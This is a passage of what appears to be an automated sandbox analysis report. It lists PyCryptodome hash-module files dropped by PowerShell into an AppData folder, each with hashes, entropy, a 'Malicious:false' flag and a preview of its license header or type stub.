              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\BLAKE2b.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9670
              Entropy (8bit):4.704181472916713
              Encrypted:false
              SSDEEP:
              MD5:42FF26371B56C5C3B6EB371D0DD95D0D
              SHA1:90ADFE0DFC3912F2360749B29E4793B6793F26C9
              SHA-256:D810141E84ABEF8948D031C63BBC72D9893090AFF62CD21FA89AB64DE09CEC84
              SHA-512:7BCF47527D8F034A8DA182FC5125F63ED0A3685C8D1D19EC6D6013D9BABA452921612196590D03309BF878166021A5C5BA9AC30C7E94546A7F913E5DDA250420
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\BLAKE2b.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):938
              Entropy (8bit):4.770904354494787
              Encrypted:false
              SSDEEP:
              MD5:17D9AB9AB96D9645BD7BAA7403392355
              SHA1:63DFBC424021764FA0B7BE930C76F99F7D097DAB
              SHA-256:2F79FA6D217978DB2C5A7CF297E73E555C2100E86FA5B2CB4C1DEFFCCAE353DF
              SHA-512:E6A62201B77C98236B57E93275C666C03CE6D17DF29380D871DA9F55F9D2C01B4EE1901C8C9A95CB7307FD06CCD9CF9CD6FF768693EB30706F236439B253E0D4
              Malicious:false
              Reputation:unknown
              Preview:from typing import Any, Union..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2b_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2b_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... digest_bytes: int = ...,... digest_bits: int = ...,... key: Buffer = ...,... update_after_digest: bool = ...) -> BLAKE2b_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2b_Hash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\BLAKE2s.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9676
              Entropy (8bit):4.694251411457854
              Encrypted:false
              SSDEEP:
              MD5:78E109013B7F37E3CA1F6299E2B222D4
              SHA1:1D70156D7C14F8268882C588E67F27CBC55B4479
              SHA-256:19798A2A1D438C0DD3538193B4284C11DA04D6FD52F7E58AEA9A95AF1E8BAE68
              SHA-512:A6978AEDD9A4567F6231FFE10072227B55A4CF97132009FA1491321F11EDA3C1E5AE119156900B19D64E6E73A85DBF6F3D8C04D49471FEE68754FF8A8C0951A1
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\BLAKE2s.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):765
              Entropy (8bit):4.852088276642615
              Encrypted:false
              SSDEEP:
              MD5:43A377A44F7A80190635F78E745C64C3
              SHA1:FDDEC7439E99FF7376364061B817E985EC291550
              SHA-256:25933F08745028C43450B44E6926A00942023E68BF934D2A4D032B8F9557C251
              SHA-512:8C087F9A1BFF5B0F48A2B766CB4B81BBEF8D18461C9369C71F4431D90343822099A6DAFD74DA565D53D43131A727228BB8487C8503ADC4573E585187B76BDE5C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Any, Union....Buffer = Union[bytes, bytearray, memoryview]....class BLAKE2s_Hash(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. data: Buffer,.... key: Buffer,.... digest_bytes: bytes,.... update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> BLAKE2s_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self, **kwargs: Any) -> BLAKE2s_Hash: .......def new(data: Buffer = ...,...digest_bytes: int = ...,...digest_bits: int = ...,...key: Buffer = ...,...update_after_digest: bool = ...) -> BLAKE2s_Hash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\CMAC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10810
              Entropy (8bit):4.6888886762336766
              Encrypted:false
              SSDEEP:
              MD5:CB84488361E5F32910E69C4132E5B766
              SHA1:0591BE7FF0945B36459945ADFDADC3159130509B
              SHA-256:B61E587E5AA8FD5F958F2C3DAA7E8F8914C3D33D162A3EE4CCF7DCD8277AB56D
              SHA-512:39B5FC22B4456E0972D636A2F857B643931150723EA9E4FE42F9E663A9453BD24B511BA841D508005259DD2D0A9BC245CF0AB7C5EC9AEEEEEC446DA769E51D4A
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Hash/CMAC.py - Implements the CMAC algorithm..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# =============

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\CMAC.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):852
              Entropy (8bit):4.7944416507058545
              Encrypted:false
              SSDEEP:
              MD5:2932E4BF5ECDFE63B31A60E94D12EF3D
              SHA1:369E08734F3A29B7D68FC99B87C20DCE2945A6C7
              SHA-256:8A9787A689F900E660207C419A0C2B66D3D40DB46D09F4EA9C19543640D26F57
              SHA-512:723E90748E13290619B03A767ABE5F040149F42E36F6899648F8F450D9297EAC9F560ADBBB1EDCAA2410DF428CBBCAC55D311E6657704B5CA593707CD3496556
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Dict, Any....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class CMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... ciphermod: ModuleType,.... cipher_params: Dict[str, Any],.. mac_len: int, update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> CMAC: ..... def copy(self) -> CMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...ciphermod: ModuleType = ...,...cipher_params: Dict[str, Any] = ...,...mac_len: int = ...,.. update_after_digest: bool = ...) -> CMAC: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\HMAC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8383
              Entropy (8bit):5.035054686221352
              Encrypted:false
              SSDEEP:
              MD5:1B694324354191939445989D02B57552
              SHA1:459F3C732F46D703844BE242590867B7C336257C
              SHA-256:BF5BDB55739BC144FFD51BE8696DF86FDDB749EFC794105122BA6882062D1F77
              SHA-512:559F55B868EBE7C088617A6E960622C75D90138720FF661BCABF74A0C01CB4D52F9F6B0C200CBF3B07DA7457BBED8CC9A445A876DB6232CBE05387BE9087DCEB
              Malicious:false
              Reputation:unknown
              Preview:#..# HMAC.py - Implements the HMAC algorithm as described by RFC 2104...#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\HMAC.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):649
              Entropy (8bit):4.783061054533155
              Encrypted:false
              SSDEEP:
              MD5:14A386A671119C5A919A33425DBB267C
              SHA1:938FCE9D2F2D8D12B4E6DCE66CF634F0597E79C5
              SHA-256:C2C617969E9C441DCC4F844E9B8BA9767F49999272C239BDE88D5F4FAF6A672C
              SHA-512:99637CA962FF596AB9A740A3360DCA5989F0CA1DBC23C90926A213FC50A3E7A5FBC92DDDA0C62625FAA9A273CE9D6D50BFAC8A9D812BEC12DA2AD8CFE1D6D141
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class HMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... digestmod: ModuleType) -> None: ..... def update(self, msg: Buffer) -> HMAC: ..... def copy(self) -> HMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...digestmod: ModuleType = ...) -> HMAC: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KMAC128.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6128
              Entropy (8bit):5.060949769894483
              Encrypted:false
              SSDEEP:
              MD5:FFA9326A97D6D9F07CC037565AEF8134
              SHA1:474261D53BE76A00B36A836980CC3C6DC7483794
              SHA-256:2784C94AFD4E41E49E3370AF0334D1578402E2CF51BFA1E57561D74EAFB5D9A4
              SHA-512:8B162E0D0843F7DB0AD2D5831A21290A38563E22628A4D20D83EA6D7BC3BBAF71228E8FC1BC2F0B8EDCD6F44800BB909613275A3E14FAF7AF088BE9CE9569D7E
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KMAC128.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):936
              Entropy (8bit):4.361612751830179
              Encrypted:false
              SSDEEP:
              MD5:AB6420FC357655A5E7064F63055C551C
              SHA1:C936732267AB86FF4C74D262883948A23FAF2819
              SHA-256:383B57B62578122CD924BFA4DCB324233ED0D7A847F89D16BDBD3ED8251240C2
              SHA-512:EA97C574488210232741126FD97BAC54241937444DAAB8060C6DB1B5965B1D61EDB17643C4B6076E4DEBEA1B8BD15C3285728637944C2352F9E822CF85E4AF36
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class KMAC_Hash(object):.... def __init__(self,.. data: Buffer,.. key: Buffer,.. mac_len: int,.. custom: Buffer,.. oid_variant: str,.. cshake: ModuleType,.. rate: int) -> None: ....... def update(self, data: Buffer) -> KMAC_Hash: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... mac_len: int = ...,... key: Buffer = ...,.. custom: Buffer = ...) -> KMAC_Hash: .........def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KMAC256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2980
              Entropy (8bit):5.271012086144821
              Encrypted:false
              SSDEEP:
              MD5:5D8FCE4FF68CED1B7951320BF774725A
              SHA1:50F60C4DEC5C1CF84A2182347937673B8CDDEAEB
              SHA-256:5DF6B48163BBBEA77D5B624E1E07B95F25390DB1430D45AD5CAB902E477A64A4
              SHA-512:DB2ABAD56E2E426C7BDF3E6BAEDFD3EE390FF495A032CB8F0CAFC4DAF84166C388B5EA1CC70FE45518A4F640A65A407E0E857D61EEACFC85C7ACD5895D007AA9
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KMAC256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):236
              Entropy (8bit):4.806129043337596
              Encrypted:false
              SSDEEP:
              MD5:9BB92F855E03ADD802DAF8AFD8D46DD4
              SHA1:2D8211D1408152634446F921611426687A6A8800
              SHA-256:B220806E584FF8FA9C4A28733F1A096B631B700096020EADCF766B96F86A82E7
              SHA-512:705206605980538F53A763410E8DB18EA03BBA2C204F8FDB2E723EB0EEBD9E1B252414D0EC2E092D46795E82BF61EA126B27CD40EFABC62BF6F0CD039313C43B
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union....from .KMAC128 import KMAC_Hash....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KangarooTwelve.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7392
              Entropy (8bit):4.848179526975703
              Encrypted:false
              SSDEEP:
              MD5:B8FF8687616746E7D2B33FA0EFC8DECE
              SHA1:32BA49FBF1FC3F036B99C2709515DC5ABC245C8B
              SHA-256:1F06117B8FB243148DA2689A76B39F88797D3A7A797A3363792D3D30D0FE06D0
              SHA-512:61C95FDB308FB6D2F822C5E1B9244D0583FDB636ABF47739492550C677D87DF9E7E28DF3B9CF051C565A5B93C946E13C974C3B4F0BA12541D6DDBC801C40E4C8
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\KangarooTwelve.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):588
              Entropy (8bit):4.505456264915036
              Encrypted:false
              SSDEEP:
              MD5:42C9FEC1BF1C0D408407E53932837C93
              SHA1:12F0171C79E934BF9202A864E6D87404EBDB1BDE
              SHA-256:4C18BD17FAE1D883D8710836B105100A6732AEF4639967F09FD1B7BD636E21B0
              SHA-512:9FC2C7FBFE0D15D327D6155DDB6613C1BDFC966E7BD2EC0D50CAE0DE981F5A1752B4A303EDFD9D87D68C7A0B2026E082B7F3DD3B40F8426B5CF9E0CF48A64723
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class K12_XOF(object):.. def __init__(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: ..... def update(self, data: Buffer) -> K12_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: .......def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> K12_XOF: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6277
              Entropy (8bit):4.740289678626214
              Encrypted:false
              SSDEEP:
              MD5:E481D6B8F9367485C21BE80F7EA069C9
              SHA1:3D3F67C2664934CF57C9705DBAC3B48A8DFF15B5
              SHA-256:2B2CB2D01B12395DDBEA6EC5D66E3CDC8FD5B99BCB81E112FE127299EE24922C
              SHA-512:3C215DF463DDAB0CE241F0898FF6005FC87C61E1249051876D05495AE3619569B18CB917AB9FEE194AFE73698CFCAFA4FC662617E22F17757063C978687B1B1C
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD2.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):511
              Entropy (8bit):4.765158993873355
              Encrypted:false
              SSDEEP:
              MD5:4BC02D61022F9C16DF722B5F84952EE6
              SHA1:C1AC7927C7F367E0ED86236950DC2966326B127C
              SHA-256:3B3C9E78A4313AC9D7935D4AE92C650879BE8F55007478154429919B4794BB42
              SHA-512:9A6729A4346430DAB7D125D5575C955B968B2491F37C75F9ECE46A13A0DA794348F86227EC29A0D700CB5B66F76353D4372439D9EE956DFC43CEF75B62EA9251
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Buffer = ...) -> MD4Hash: .......def new(data: Buffer = ...) -> MD4Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD4.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6767
              Entropy (8bit):4.77561272659047
              Encrypted:false
              SSDEEP:
              MD5:815AD75FFCEB01DBC18A797BEB80D57E
              SHA1:90AEFD81B088EC63E771C502377380B5A83AAB0A
              SHA-256:26196B146E61C65278C91C066B7460FEBC3200DC14FB5E842C471E6D56C39783
              SHA-512:2025D72689B0A4CF2B1B30BAD9593DF40EB632C20628916F7141832930D6F42FEE3E79B951620A161B19213C18E4E5C1C5A1EC946B4F68E0911A9FB636D0E4ED
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD4.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):551
              Entropy (8bit):4.846633197285402
              Encrypted:false
              SSDEEP:
              MD5:74AB60EEF22557EA93605E680CA5D294
              SHA1:6EE4291D7DB2B6787D18FC27DAD203ED326B3C3C
              SHA-256:0602DA2A342D9EF1F7C015F953B2DF27F51C25A5E99F89044E71579662EBA5FF
              SHA-512:F87B68B8145984213A2028813A82CD51C294D1A5D723DC92983662E24859EDFF25F5D608C2EC806BB052EC3BA8D8ABAB47C8047347C499FAE16833BB0A6CCC97
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Optional[Buffer] = ...) -> MD4Hash: .......def new(data: Optional[Buffer] = ...) -> MD4Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD5.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6802
              Entropy (8bit):4.584130593682968
              Encrypted:false
              SSDEEP:
              MD5:9B5CEA3FA09AFC6A601C87474223CF35
              SHA1:2D5EFB95669296497442EFBD696460F2049D3FA6
              SHA-256:5B3966F7457DB844BE069E442139F2863B2407D9C803EDCA064CE878BBD263E5
              SHA-512:3C989A5974DECE408C53EF69F45C4003DA506FE681C1196B29C7F9F5A4FC97264C39272952256BB7C8ACAFD9D2F7E783F815D8AD3E0AA97573F11103F13786A6
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\MD5.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):511
              Entropy (8bit):4.765158993873355
              Encrypted:false
              SSDEEP:
              MD5:1F1147ECB293220FC948730F06836366
              SHA1:E467DEF3A20461383919E11A801E0B57BBDC85E6
              SHA-256:8A3E274302454BFF4450C1DF6DA89A048F13EB048E64C6781408F18066F8430B
